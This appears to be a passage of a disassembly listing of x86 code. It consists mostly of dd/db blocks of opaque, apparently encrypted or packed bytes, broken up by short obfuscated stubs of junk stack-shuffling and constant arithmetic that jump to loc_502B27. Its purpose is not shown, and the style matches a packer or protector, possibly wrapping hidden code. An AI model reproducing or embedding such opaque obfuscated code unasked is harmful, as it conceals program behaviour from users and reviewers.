dd 0EB669821h, 947905FFh, 1FB37044h, 0C90613E3h, 0E90D87B5h dd 0Fh, 576F51BDh, 2 dup(0) dd 0E9000000h, 534h, 224DF687h, 56B18EFDh, 0CE192669h dd 648FB8C1h, 9DF4533Bh, 0FC82CBADh, 8FFB244Fh, 206859B0h dd 0B9C3CC27h, 9BFC678Eh, 1324F901h, 0AE761C41h, 0C8897A5Fh dd 0E9FA7E58h, 4F305808h, 0F0E5473Ah, 3A4FEC3Ch, 6BAA0147h dd 0C7800C35h, 16355996h, 71CAB2FFh, 0CC7D0F2Ch, 294E81BEh dd 73A19EECh, 0C976052Ah, 0E305EC84h, 37BA3B41h, 32676F74h dd 5A261C21h, 93D24278h, 80083950h, 1563ACC7h, 0ABEA5524h dd 645357Ah, 54F398D5h, 839EEA07h, 3AF1C1E9h, 46793447h dd 36B23F15h, 344158F0h, 3642DA4Bh, 0DB473AF1h, 0E64391D0h dd 6DD6A282h, 0D46F1D02h, 0F1A2F587h, 0E50C473Ah, 12114C83h dd 67A451F3h, 0CF000000h, 5C81BAC2h, 0E329A1ABh, 1A5DE00Dh dd 5772EC6h, 0D5BE93Ah, 0A3473A3Bh, 7AF71A5Eh, 5F51F3DBh dd 1, 2A525FC7h, 73A1CC11h, 4C204536h, 473A3B3Ch, 7921DAD1h dd 0DDB6FF65h, 155A8BCAh, 0C780D966h, 6DAC3C8Ah, 0A0C51B88h dd 1045FE8Bh, 9D6F8960h, 25EE990h, 5CB794E7h, 0F71E2953h dd 66E595E2h, 525F6A3Ah, 0ACCF1C27h, 6454970h, 54F398D5h dd 1157E007h, 0B5DC6B13h, 0A1FFE3A4h, 0AA5D82F1h, 6414B76h dd 0D8E0BCE1h, 3D473ADCh, 0D61B227Eh, 0C7499AA9h, 6CD7A5F2h dd 0B9EA5523h, 9DDB267Ah, 86D24AAFh, 6B473ADCh, 55381C40h dd 8051F2F3h, 93h, 3807778Eh, 9DA6D2DFh, 0D6F72D48h, 449F699h dd 58206D6Ch, 217FBEEFh, 0FA84A0D8h, 0CC0F3C43h, 0BD6F54A5h dd 473A3B6Dh, 3BB4C458h, 5259473Ah, 5792CEEDh, 0A6CB1827h dd 0B60F68D3h, 0C7765026h, 96B7ED4Eh, 0AEDAD7BAh, 0FF254095h dd 3116F672h, 3A622F7Bh, 5FCDC247h, 473A620Bh, 508CCFEEh dd 0F38099C4h, 523C51h, 77EA0000h, 0C6EB3807h, 56F187B2h dd 0F2A05C05h, 5D19EB4Ch, 788ADB1Ah, 0DE69101Dh, 0E341A782h dd 4E4BAC9Bh, 93D20340h, 7788024Dh, 46164704h, 473A3B35h dd 0FD14549Dh, 51F3DB80h, 0D0F8B499h, 0B5473A37h, 0FBB879C6h dd 4362B390h, 171DC00h, 0D9000000h, 1A29525Fh, 77D4BBC6h dd 0B8830926h, 0B830A16Bh, 0D28E137Ch, 0F3DF7A2Fh, 0F8009CFDh dd 1D473AC7h, 24345F9Eh, 0A287E02Fh, 0E69C2555h, 5C640AF9h dd 2FF92766h, 49182D5Ch, 381D7A31h, 18435464h, 0AEF2B941h dd 112A529Fh, 70CFBBF8h, 0B3DC0023h, 1045FE8Eh, 18433644h dd 0BD3B3641h, 0C32A1567h, 4095AEDEh, 81E6612Bh, 0EF3C0B74h dd 387590CCh, 0B493E756h, 0D0054467h, 0D0E9F09Bh, 611CB608h dd 195687C6h, 0B1B8D46Fh, 0BBB4F337h, 0AA95E73Dh, 70BEB343h dd 251B4BD1h, 3000001h, 364AB58h, 182AAA69h, 0D2824349h dd 0D9E56241h, 7D30E937h, 0CE790328h, 25226CA9h, 0E1AB94FFh dd 94F83566h, 323F7AABh, 350E7EB6h, 0ED3DEFD4h, 0F0411859h dd 4E6DBE89h, 7D66BAF1h, 0D179A4D9h, 31314Bh, 58190000h dd 940861A8h, 11736CA4h, 23F12289h, 0C73A3B17h, 43C82029h dd 4B21468Dh, 91736CDFh, 7D90FBB2h, 0B8h, 5565371Ch, 0B8473A3Bh dd 5817AFF5h, 9EAA42ABh, 0AB473A3Bh, 3A3BA9F1h, 0D0614C47h dd 187D9ADDh, 632029AFh, 578D8D3Dh, 18AAE2B5h, 3EEED349h dd 41189EEAh, 0B8BA160Fh, 8A70C022h, 911C154Bh, 0E25D2F4Ch dd 1E61AE8Bh, 0C6B6F321h, 0C3B9C15Bh, 0E3AC4118h, 4BF43764h dd 0E6C09B60h, 7E22AC22h, 0ACE9EE3Fh, 6D3F65E2h, 411890A4h dd 0D80D3A45h, 0B58E793h, 970A5ECEh, 0CCEF4118h, 73B73138h dd 8AAACE23h, 0A4EE8302h, 0C6BF88F4h, 5295230Fh, 0E52AD93Bh dd 6718E884h, 0AE0D4F03h, 0F34C307Dh, 81E76AA2h, 6F88D78Ch dd 6A07B5BDh, 3A555845h, 9CABD0DDh, 5CF02C4Fh, 364AB58h dd 214C9969h, 0B3F35449h, 61A65D45h, 4477A2FEh, 33B2DA17h dd 1885A78Bh, 0BCDD1C0Ah, 152E5A57h, 132F3743h, 0FA69DA41h dd 1B8088CDh, 8AF23F7Eh, 13416CB1h, 82BDCFF0h, 0E5622865h dd 1E2F75B0h, 0D2C10A4Eh, 4BAD44F1h, 7198A3E9h, 0E6033C40h dd 3667E0A9h, 0A10F5BD1h, 0CBE21055h, 0D4315488h, 0E0662E73h dd 0A9F7B0A9h, 1D4EF980h, 0DE2E4A37h, 489DAAD1h, 0C2CAF72Dh dd 80BDCD5Fh, 5D501055h, 0A9E6F31Ah, 0F13864DFh, 9C63B08Bh dd 3, 7773CB46h, 0C3E83D06h, 105D8EB9h, 618EDF68h, 0B4F92A19h dd 3287DCAh, 529FCC7Bh, 0A2CF1C27h, 0F03D6EDDh, 696FBC8Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx push 3809h mov [esp], ecx push 6291FF0h mov ebx, [esp] add esp, 4 push esp mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx pop dword ptr [ecx+8] mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_502B27 ; --------------------------------------------------------------------------- db 0A0h, 81h, 64h dd 35AC7FD3h, 23F3CDBAh, 2924A8B8h, 0FFC50306h, 0F99AFFE0h dd 0FAD2040Bh, 149F5A4Eh, 233C3B6Ah, 9C757F68h, 88520412h dd 0CD1FDA7Dh, 0A3ED6A07h, 0B74C7B00h, 523DF73Bh, 0B968D653h dd 28EE156Bh, 9CA8F012h, 0AEA5AC77h, 0CA91416h, 0E1AA5F4Bh dd 0A804F23Ah, 0A7D51A6Bh, 0F185C218h, 34063917h, 19F6B20Fh dd 0E0D3DC04h, 0A7266B7Eh, 0AE949h, 8E770000h, 4D33h, 0 dd 55AE9h, 98A3EA00h, 0C3B4071h, 74D3BCE5h, 0DA65141Dh dd 43008EB3h, 0D51EDE28h, 4E739AA9h, 0BBE40F3Ch, 161B72CDh dd 4BB2DD66h, 1E2A7E2Eh, 0BCF4113h, 1C05771Bh, 82D3701Fh dd 3B69B163h, 218C473Ah, 3B0454C8h, 0C2E9473Ah, 6B016683h dd 473A3B5Fh, 80A5FBB2h, 0CD24236Bh, 22301BECh, 0E40A36B2h dd 300B71B8h, 93B0DAD7h, 0A8FD2342h, 1D4EF983h, 4F9CABD0h dd 0BEEF5C22h, 0EF3C0771h, 0B278F079h, 7FCD2BC6h, 0A9FA4932h dd 612B568Ah, 0F6828FE6h, 8BFD224Dh, 345A57B0h, 7FBCC917h dd 25EF3C0Bh, 90F83CBCh, 29535CB7h, 3F88CD1Eh, 0CD8B97A1h dd 0F597CD7Ch, 473ABEA2h, 4C83E50Ch, 51F35711h, 64A4h dd 0B7C2CF00h, 1FA65F8Ch, 914C5F7Ah, 673F65A4h, 1F2C525Fh dd 1A62AFCEh, 0C6B6F321h, 4E9C287Dh, 0E4473A3Bh, 0B9B4DB1Dh dd 1C51F3DBh, 1, 4904770Ah, 90C5043Fh, 6B1D305Bh, 5093B0DEh dd 0DAAFCC11h, 7D0B0861h, 0E5291C2h, 88E009FFh, 4A70C384h dd 0C3B883F6h, 469AA10Eh, 98F3503Bh, 335AE597h, 2A525F9Bh dd 0D8A6C311h, 7E010E6Bh, 4EF980C1h, 0D5A6CB12h, 75022576h dd 0CF3419F3h, 3A3B0D5Dh, 1BCDE047h, 473A3BCFh, 4004B866h dd 4DF2846Ch, 0EA2D1A60h, 356BD4A5h, 307F820Ch, 0AA5FA57h dd 5479C6C9h, 7C97D609h, 0ADFE4933h, 1340FF80h, 0EE9BAEDEh dd 0ACC11255h, 23206FDEh, 945DB3E0h, 0F772DE54h, 47335E71h dd 88A651F3h, 6C000000h, 1F2C525Fh, 4FD6B8C1h, 3A3B8DDDh dd 0A4D6047h, 63DCA0EDh, 0BCC3E83Dh, 5C2D6A8Fh, 4368BDE3h dd 90DD0E39h, 0C60350EFh, 3A3B0256h, 81C4F747h, 0CEBA7088h dd 1F6FC523h, 0B6D8C920h, 62174489h, 0DD84B4D9h, 0DA09749Bh dd 4FCC51F3h, 5A000000h, 0DF380777h, 0CF0C8366h, 96FB80BFh dd 5F6EB2C4h, 88DD6612h, 24AA1B7Eh, 0A5A2E8D6h, 0A6D456D8h dd 0FD386DD6h, 5D9B66BAh, 0C6128AEFh, 2B473AE7h, 69155C80h dd 771BB3DAh, 46164704h, 473A3B35h, 0FD14549Dh, 51F3DB80h dd 155h, 877FD00h, 0B7C5EA3Bh, 0CF55F8Ch, 0F84748ECh, 0D6E2BA9Fh dd 3B473A3Bh, 0D1232C70h, 1921FB22h, 0FC473A3Bh, 1C197EB1h dd 90AFDF6Eh, 0A0E10C51h, 21306CDBh, 1848784Bh, 41A61549h dd 0A7FD4A34h, 90804186h, 5CEB900Eh, 37BC6BA7h, 83BCC0E9h dd 0EA552768h, 7EDDEBB9h, 0B5C44118h, 6414598Ah, 0DF828ADBh dd 0EC419599h, 5BE4A88Ch, 105E2730h, 5917D83Ah, 0F4371467h dd 40FB81A8h, 0C9B5C227h, 0D99EAA7Ah, 36734118h, 96D50645h dd 0BFFC0957h, 62172CDh, 4735EF09h, 0C4195FCh, 654BD0FAh dd 8ADB6428h, 0FB281365h, 0FA5B79B8h, 13Eh, 5EEF909Dh dd 8DD31231h, 42AB58F1h, 3A3B9EAAh, 0F9387347h, 2A170CE0h dd 0D3204918h, 0CC459BA8h, 0D7FBCE1h, 8BFF4E3Ch, 0D287DBCh dd 0ED56A3CAh, 0D36820A2h, 0AAD70D7Eh, 0E73459E2h, 3479AA95h dd 3D4DDF46h, 0D04118BCh, 24499ADDh, 0C9BFEC5Bh, 2762C820h dd 2656CE2Ah, 2D20F21Dh, 884BD155h, 4Fh, 61A85896h, 0C9840B08h dd 175687C0h, 0D34988D4h, 11736C67h, 0D532634Ah, 3BEC3CF0h dd 87F1C73Ah, 0F42883BCh, 3A3B0652h, 0B73138C7h, 32579E52h dd 736CCE7Ah, 20B2A391h, 8FB8C4FEh, 89F911F6h, 9EE05362h dd 6EA1E03Bh, 8CC807h, 583A0000h, 241DEABh, 0EEE62E29h dd 28654AAFh, 0E1BBD966h, 4918D35Eh, 0BA89F2BFh, 77052A7Bh dd 107CA5CCh, 0BCE1E637h, 18C6D8E0h, 227E3D41h, 18C68998h dd 7EFA7741h, 26DD6A6h, 95F24132h, 3E87507h, 7D0FAC4Fh dd 296683C2h, 0C8B1E261h, 44A3AEA7h, 8FD5147Eh, 4A4B317Eh dd 0FB822CC2h, 9DCE01DEh, 59AECAB7h, 251E6BAAh, 1572B5F0h dd 8FD57218h, 7F00D24Ah, 0BAF1456Dh, 9CFD4653h, 0E0A71227h dd 78B60E2Fh, 41806C6Eh, 0AB584313h, 88F60364h, 64B6ABBh dd 589BC873h, 0B547D504h, 6C492116h, 0ADDF1C41h, 391E7B92h dd 131E5763h, 7E8A6241h, 9341131Eh, 48942718h, 9EEE5B21h dd 633162A5h, 0F879B36Eh, 0D13BBDB4h, 0F1E830ECh, 0AE0D1679h dd 0FA453772h, 65DEAE93h, 0BB8EFB30h, 32273D0h, 315E93C0h dd 0DCACC112h, 0F025226Dh, 2F2172B5h, 0C860C622h, 4ADBA4F1h dd 79F186D2h, 1406B16h, 0E64391DCh, 61DAA282h, 9E12BF08h dd 956ED9A0h, 5B79FE9Dh, 0BA85F738h, 39669h, 0CB7C0000h dd 3D067773h, 8EB9C3E8h, 0DF68105Dh, 2A19618Eh, 7DCAB4F9h dd 0CC7B0328h, 1C27529Fh, 6EDDA2CFh, 0BC8BF03Dh, 8957696Fh dd 4C781E7h, 51000000h, 4B9h, 59CF2900h, 5C243C87h, 3FEF68h dd 243C8900h, 5B2168h, 240C8900h, 9CBF5756h, 0BE78052Eh dd 7E2E5439h, 895FFE29h, 3685EF7h, 89000077h, 4832424h dd 53590424h, 8BBh, 89CB0100h, 241C8B3Bh, 0FF04C483h, 81592434h dd 4C4h, 2434FF00h, 4C4815Fh, 0E9000000h, 0FFF957FBh, 0CD6965B0h dd 0E78C4520h, 29566057h, 0B8932860h, 6292A7Ah, 0E0FFC503h dd 5C69EA38h, 61A2D332h, 68FD1897h, 1328B42Ah, 521EA8DFh dd 54C97006h, 54AC56DDh, 0D0B1DADh, 4F256040h, 3047E811h dd 62AA1CD0h, 1570B41Dh, 4CE4ADDDh, 7F56C272h, 3F81E51h dd 25D6971Bh, 3DE8D973h, 453F51E3h, 22E9h, 2B302A00h, 0Dh dd 6 dup(0) dd 0E9000000h, 960h, 0A6C17A03h, 0DA351279h, 729DAAD5h dd 0E8033C4Dh, 168D7A7h, 800E4729h, 1367A8C3h, 0A4D4DD34h dd 3D4F709Bh, 1760EB02h, 13107585h, 32F29841h, 3A3BC7E8h dd 8BB4D847h, 4793096Eh, 72473A3Bh, 3A3B6EBAh, 17288347h dd 21778A4h, 0C6C885F5h, 0F01A4679h, 0C15BBC03h, 4918150Eh dd 1A7FAC0Fh, 0B0DE6B1Dh, 0E0234293h, 52C70B3h, 7EA3CA79h dd 0E3E0350Eh, 3667E496h, 75CEBAF7h, 0C17A022Fh, 122B5F9Ch dd 6A89DA69h, 0C5B5FA2Bh, 3E3B5586h, 383174BAh, 5FB4CC0h dd 7B19FDFh, 66165381h, 0DCA5B2DDh, 5550629Ch, 0B165BBDFh dd 4BD0F4BCh, 87B6D8D5h, 0DA194AF5h, 0F52B4A9Bh, 8228h dd 0B6664B00h, 4118D062h, 24F82497h, 8E1E0777h, 473A3B7Ah dd 88DD1C9Fh, 0B3E4E4Bh, 5291C27Dh, 0DAA4CD13h, 70F9386Dh dd 4F523CF8h, 558FF6BDh, 0E30A4D0Dh, 0F3421E53h, 45BB51h dd 5F630000h, 0C21E2D52h, 1266D7A7h, 0A6F75427h, 0D4174487h dd 63B44095h, 7C473A3Bh, 0CEE3300Fh, 335D8EBDh, 0EB7CB236h dd 444AEA0Eh, 63214DBDh, 0F70DC2Ah, 57BEF130h, 72738142h dd 968006C1h, 23FD4Ah, 77210000h, 0EEEB3807h, 3C60DBA1h dd 3A3B5C6Ah, 0D3A4547h, 5BE893D8h, 0DD1BC60Ah, 0D0280549h dd 0F21D2A54h, 0DEAB5858h, 0A570AD78h, 6F88CBD2h, 1840FABDh dd 4B981349h, 98E45926h, 0FC3F7EAFh, 64E3AC95h, 0D11ED537h dd 0CEF253B8h, 0DB5546BAh, 5AE992DFh, 29DF6406h, 6D404F3Ah dd 0B6D1438h, 8ED96629h, 21FBFE81h, 4983BBh, 88CD1E51h dd 89829F3Fh, 8BECADF0h, 7E0DC911h, 53812C4Bh, 7E0D7189h dd 6E8A774Bh, 1D7AC9B6h, 0D546438h, 0F2B94B7Eh, 4754A5AEh dd 38D40837h, 562A558h, 6BB88708h, 6B781448h, 3A0577D3h dd 5FF55160h, 0CE1F2C52h, 0B8A571AFh, 0D154F3CFh, 428FB8C4h dd 72D3013Ah, 53h, 62A558D8h, 3D7A5FB8h, 81ACF14Eh, 3A3B8BDFh dd 3B416E47h, 5190D300h, 0A5ECE03h, 37473A3Bh, 6EB291FAh dd 0B883F6B3h, 525FDD79h, 0D16E112Ch, 0FD2E618Ch, 0A6F62BEh dd 3B237725h, 0E7D6473Ah, 525FE5B9h, 0B8C11F2Ch, 0B2B268D7h dd 2FA59Ah, 58890000h, 201F6CA5h, 0A571B0F3h, 3BBDCD5Fh dd 0A388473Ah, 3A3BA1C9h, 3B595447h, 63DCA001h, 0C75F7A20h dd 72810877h, 0F6CCC03Eh, 0B24B1352h, 3405779Ah, 0A1C6F946h dd 0CE1F2854h, 985471AFh, 473EBA02h, 67B493E7h, 0D0053E4Ah dd 0F337B1B8h, 808CEC05h, 0E93A0573h, 216B96CAh, 0BA5C6C00h dd 0FAB1473Eh, 0A3795EBBh, 473EBA97h, 0E2ED337Ah, 1572D1BDh dd 87D47318h, 0C0ED3864h, 155C81BEh, 69D2A7F4h, 0BA4C9C10h dd 0AA1473Eh, 170D6BD6h, 72BFD867h, 0CEED3E0Dh, 3687192h dd 3EBA4169h, 0DBF9B447h, 0EF5AFE73h, 0A6AE1751h, 358EE630h dd 388588D4h, 30000000h, 5A75357h, 376DC969h, 3A05779Fh dd 0EA1F64DDh, 9B574FE3h, 0FB192256h, 62B1A2A2h, 644C9705h dd 0FAB14918h, 0B6323FA9h, 0D4350E7Eh, 5B94B3C7h, 0A7C61734h dd 77BC1679h, 0EBE93A05h, 0DE4EABF8h, 49185049h, 3B648F2Eh dd 0B691F851h, 67962677h, 83CCC5FDh, 0FD3A1256h, 69D2BA8Fh dd 9AC6E536h, 0FB122D5Fh, 0D7E3B99Eh, 3ACDAEBDh, 69CA8A73h dd 2A08107Ah, 86C1CBF6h, 7BD8A061h, 4AB87C1Ch, 3192F716h dd 9F79F81Bh, 7761BF23h, 71D2377Ch, 0FBB1DC67h, 0CDAE5DAFh dd 65926B42h, 17305906h, 3864A7C6h, 940443D9h, 0A209C38Ch dd 0A558D34Bh, 6E6BB862h, 0B6EA5921h, 3A05771Eh, 9AF55160h dd 54F3CFF7h, 25E2h, 0A5582800h, 0CD5FB862h, 473A3BBDh dd 5AF3F88h, 52113AF9h, 0C298130Eh, 877C75Fh, 9AB2633Bh dd 27A5h, 0A5588900h, 7A5FB862h, 6781E189h, 4FDDD1B7h dd 473AE13Bh, 409CDFDEh, 3AE192A6h, 6F378847h, 877C75Fh dd 9AB2633Bh, 1C27525Fh, 4970ACCFh, 19ABF843h, 473EBA83h dd 0CFBFFCDDh, 0DC002370h, 0FC391355h, 416CB18Eh, 93A6D613h dd 0FB1C5FECh, 3071CABEh, 8DA8FD4Ah, 7B030C57h, 1B6EABCCh dd 6CB0F320h, 0D36A1459h, 2C4F9CABh, 773B8EDh, 0B2C6EB38h dd 0CD344489h, 374087ABh, 320B73B1h, 0B08FF04Dh, 0CE014063h dd 59DA97A7h, 2DFF51EFh, 27000000h, 0E93A0577h, 4EABF8EBh dd 183D0DDEh, 8BFD3A49h, 8B56CB0h, 4B6ABB84h, 0C42DDB08h dd 43FC80A4h, 1F2BC126h, 0F2411834h, 0A07A65BBh, 96A27A5Fh dd 7B473A3Bh, 0B7C5EC30h, 0FA4BA236h, 82C55FA7h, 47533451h dd 7770913h, 342F2977h, 0A1398AEFh, 34BA87A5h, 0A5779AC6h dd 4918FBFEh, 0E9A5CCEFh, 562A558h, 9AC68108h, 77D36BCAh dd 51603A05h, 2D525FF5h, 274AC21Eh, 0B254F3D0h, 56h, 62A55898h dd 3D7A5FB8h, 8EADFE4Dh, 3B608852h, 2895473Ah, 0F81DE661h dd 0A2E57647h, 6EABCC0Fh, 26FE2221h, 87157A5Fh, 473A3B73h dd 0F4192256h, 5F2B88A9h, 1A60A1E0h, 67BDF82Dh, 0A27A5FCFh dd 473A3B96h, 0F14A3E7Bh, 384762BEh, 9AB2530Bh, 31A5h dd 0A5588900h, 0CD5FB862h, 473A3BBDh, 5F865C5Fh, 49FD897Ah dd 8665024Bh, 8778A5Ah, 0B9F84335h, 0C227B21Dh, 3A3B1E2Ah dd 77B8F347h, 0C9143902h, 525FFB8Bh, 0BCC51B28h, 321179D0h dd 68A5A2F3h, 0D9621B24h, 0C0D39911h, 0F5D375ABh, 97473EF3h dd 76061E5Ah, 0F7DA2CDh, 0BDE2E734h, 0F0B4C458h, 5259473Eh dd 3EF07682h, 0CC109B47h, 6D8AD98Ah, 1CDE00BFh, 0A1C6F549h dd 0CA98A07Ch, 3E7D411Ch, 0CA3743D9h, 0D3DA411Ch, 5FC8428Dh dd 6DDE8DE6h, 0B9E76DAFh, 0BD599E5Fh, 577D36Bh, 0AED0DD3Ah dd 0F3214C91h, 4B485123h, 0BE10641h, 473A3BFFh, 0A9459B12h dd 0F3CFF79Ah, 9AE12E54h, 0E73D78ADh, 613Eh, 305C5900h dd 5F35C917h, 5F989FE6h, 0F72DC3D5h, 42A7E8E5h, 757B8F1Dh dd 1F9E473Ah, 7A5F2DC1h, 0A3F04B3Dh, 65B56780h, 88473A3Bh dd 1D2DFF25h, 28473A3Bh, 9EFDCC5Fh, 6A8F5CB5h, 3A5F66B2h dd 0FC208B47h, 5FAC7645h, 2C525FC7h, 62AFCE1Fh, 0C9F02C17h dd 3A0577C6h, 9AB223FBh, 36A5h, 0E65F8900h, 8DF341Fh, 0D2045892h dd 5F0ED41Bh, 3B96A27Ah, 307B473Ah, 0EB3FEDECh, 0D6473A3Bh dd 5488B3D9h, 5F05D1D2h, 0FB523D7Ah, 2C70B390h, 3B087790h dd 5F9AB263h, 532CABE6h, 0F22E55BAh, 0A74C5B7h, 1BA9FA3Dh dd 473E5ABDh, 0CBBDFADFh, 76262370h, 473F5922h, 6CA5E4D7h dd 72FF2522h, 0F54E3EF6h, 54F38794h, 57B8E407h, 7B8F1D42h dd 9E473F59h, 0D4B8C11Fh, 29DA3A6Bh, 0E0EFBDDAh, 75491D77h dd 0E5CA2F46h, 1DB3E337h, 0E3A91641h, 0A9E80B58h, 0A558DB6Bh dd 7443744h, 0B5C597D6h, 1C473A3Bh, 593E1DB2h, 4156EB28h dd 3A899FABh, 0F83B7247h, 7A5F1DB9h, 3A3B96A2h, 0EC307B47h dd 525F01D9h, 0ABCA1B28h, 7404C75h, 4B48515Fh, 0DC003Fh dd 1E2D525Fh, 0C41488CDh, 29473A3Bh, 4DBA4382h, 6B95555Eh dd 66BA3F1h, 0D354F2DCh, 3Dh, 62A5587Bh, 0A8672005h, 294052FDh dd 88AEFAAAh, 0E207473Ah, 3E20548Eh, 0AEF2B986h, 74E65F16h dd 392804F5h, 0D9FF22Eh, 473A7AFDh, 5FC19D10h, 3B0877C7h dd 0A59AB263h, 34h, 0A27A5F89h, 473A3B96h, 0EAEC307Bh dd 5FF6ACF3h, 3A3BBDCDh, 865C5F47h, 525FC75Fh, 0BCC51B28h dd 2E1374D3h, 3A3B2A7Eh, 0A3ECCF47h, 0FD386DD6h, 9AB20FA7h dd 0DD3A0577h, 4390AFD0h, 3B215B20h dd 930B07C3h, 27DC384Dh, 12EDBFD8h, 0FB49180Fh, 7ADDCA0Ah dd 0CB0A76F0h, 5CA350A0h, 2112613Bh, 0A8034F03h, 0FD46367Bh dd 5A682B9Ch, 0BE8ADA9Ah, 0E2D7ECDh, 694E91CFh, 0B3E15E2Ch dd 45330676h, 7BBA85F4h, 3059EB38h, 0AA327323h, 810B294Fh dd 1A62AFC6h, 517FC821h, 22E3DB6Dh, 0AFCC1947h, 183C61DAh dd 67150F69h, 8CB5DCh, 0A4F11647h, 0DC2B69D6h, 0Fh, 2D525F06h dd 9EB7651Eh, 0B948B45h, 778E10D5h, 0C3E83D06h, 105D8EB9h dd 618EDF68h, 0B4F92A19h, 3287DCAh, 529FCC7Bh, 0A2CF1C27h dd 0F03D6EDDh, 696FBC8Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push 5071h mov [esp], ebx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp push ecx mov ecx, 67D95778h add ecx, 23906CECh shr ecx, 5 shl ecx, 2 dec ecx neg ecx push esi mov esi, 26736971h sub esi, 170B515Ch add esi, 4574D4Dh and esi, 0BFE5948h shr esi, 4 sub esi, 49775032h add esi, 60D1D01Dh add ecx, esi pop esi mov ebx, ecx pop ecx push esp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebx pop dword ptr [ebp+8] mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_502B27 ; --------------------------------------------------------------------------- db 7Fh dd 4C77E87Ah, 293418B8h, 0FFC50306h, 0EC6369E0h, 0EA9F4B36h dd 46A49E4Fh, 0ADFDAE23h, 284ECD1Ah, 271F9F37h, 0BDDC6A1Ch dd 90B98E22h, 5536152Ch, 0AC80D866h, 7D31232h, 424C6327h dd 7BE4664Ch, 64973C68h, 62F49934h, 2165011Dh, 768D110Bh dd 0F9EB275Ah, 76024C06h, 1E3BA61Fh, 0AE832h, 646F0000h dd 0F5BD72B1h, 33137EFBh, 13E9h, 0F619BD00h, 1CE73B22h dd 86627234h, 0B8D62068h, 622B7811h, 8130B15Eh, 616CC6h dd 64CA8100h, 0BF1C0685h, 9304862h, 5043F781h, 0BE90930h dd 85000000h, 0BB096EFBh, 0FF4FC1B5h, 36FFF299h, 5BC3B70Fh dd 9BF681B8h, 1AF38161h, 8012EC34h, 0EB81E5E5h, 2F544205h dd 0B9666060h, 0F28B3DC8h, 61D3B561h, 3E16EB81h, 0F604E91h dd 840FF8B7h, 3, 61D38B66h, 0EE953h, 0E3FF0000h, 76303233h dd 0A2CB06F5h, 6D4E6BCDh, 8D0F068Fh, 5, 0D1D98166h, 4EE8309h dd 10E8h, 50D74900h, 0A0C4430h, 856C6872h, 0C71B45F9h dd 8158FC68h, 1EFh, 7F850F00h, 0FFFFFFFh, 1983h, 14E900h dd 723B0000h, 576B54CFh, 0E4DD47C4h, 37732F19h, 0B20B1408h dd 0DE80A06h, 0AC000000h, 0B10E96Ch, 0CE39F60Eh, 102D1742h dd 0AE9h, 76072600h, 486C7DC2h, 5843AA2Ah, 9800Fh, 800F0000h dd 3, 81DFBF0Fh, 61F5C0h, 1B96600h, 56F62B4Ah, 0FF5AD18Bh dd 0DA800634h, 81665F87h, 812769E3h, 591DB0C7h, 8880F01h dd 0F000000h, 280h, 8187B200h, 0A24B02F7h, 0D9BA6652h dd 32F7818Bh, 666D29CDh, 33D2D381h, 850F57h, 8F000000h dd 0CA8B3004h, 5E3CD281h, 0EE83671Dh, 51ADBA01h, 4E4E112Ch dd 7EF2814Eh, 81392B4Bh, 0FF9EB4FEh, 9C850FFFh, 0FFFFFFFh dd 78Eh, 61606000h, 61CAB70Fh, 379E8D8Dh, 6A0629h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0FBB08BC3h, 0F18D89ABh, 6A062233h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0B98EC356h dd 0C73055A7h, 222D3185h, 5F9C06h, 0EDBF6600h, 0E585C76Bh dd 62230h, 3000000h, 221AA585h, 0B1BD8906h, 0FF062224h dd 222ADDB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 0AA98E5FEh, 0EDA6DDA9h, 0FFC0BF0Fh dd 22206595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 929EE75Dh, 0BBB81528h, 6A4E14C0h dd 7595FF00h, 8B062230h, 2F7AEBC0h, 0BAF8E855h, 64B21132h dd 788360CAh, 6A767FDDh, 601FBA2Fh, 0AD3AF38Eh, 527C9827h dd 54F3D087h, 3DE28AEFh, 6B811153h, 0E1EE0562h, 0E93EB987h dd 0E7FABF82h, 8EBFB665h, 0F06A0150h, 882F68ABh, 99A8A40Fh dd 0E27CC865h, 8ABC08EFh, 0CEE74DD1h, 5F3D36E0h, 0D9CCBE65h dd 4DBAB54Ah, 485EA2C2h, 7809ADFCh, 0F3992E73h, 0C3492FCFh dd 54AC3008h, 6DFC88B6h, 0F81CDB0h, 3B8D8D27h, 66062939h dd 0F60F18Bh, 681h, 830F00h, 2B000000h, 220F2DBDh, 8D896106h dd 62233F1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 90C35646h, 5EAE91B4h, 9C2DEBFCh, 78D0FA5h, 0F000000h dd 189h, 85C7F900h, 6222D31h, 5AE4h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 42C35545h, 0A6BE6076h, 6126AB63h dd 8E8h, 0D8A7C600h, 523D5B14h, 9D85897Eh, 5E062202h, 15B99589h dd 85C70622h, 62230E5h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 78C35545h dd 89B5FFB5h, 0E8062206h, 0Dh, 0C530378Bh, 0D3D0A74Eh dd 66B47F2Bh, 0F59D890Fh, 5E062202h, 206595FFh, 6A0622h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 33D792C3h, 0DB3AE906h, 0F1268D8h, 88h, 0D6BF0F00h, 95FF006Ah dd 6223075h, 19EBC08Bh, 26A84B93h, 0D7C1ED5Ch, 0BD501A18h dd 0D1C1DF1Bh, 6FD0733Ah, 4F8F8299h, 398D8DDDh, 8906293Ah dd 2221B185h, 0F18D8906h, 0F062233h, 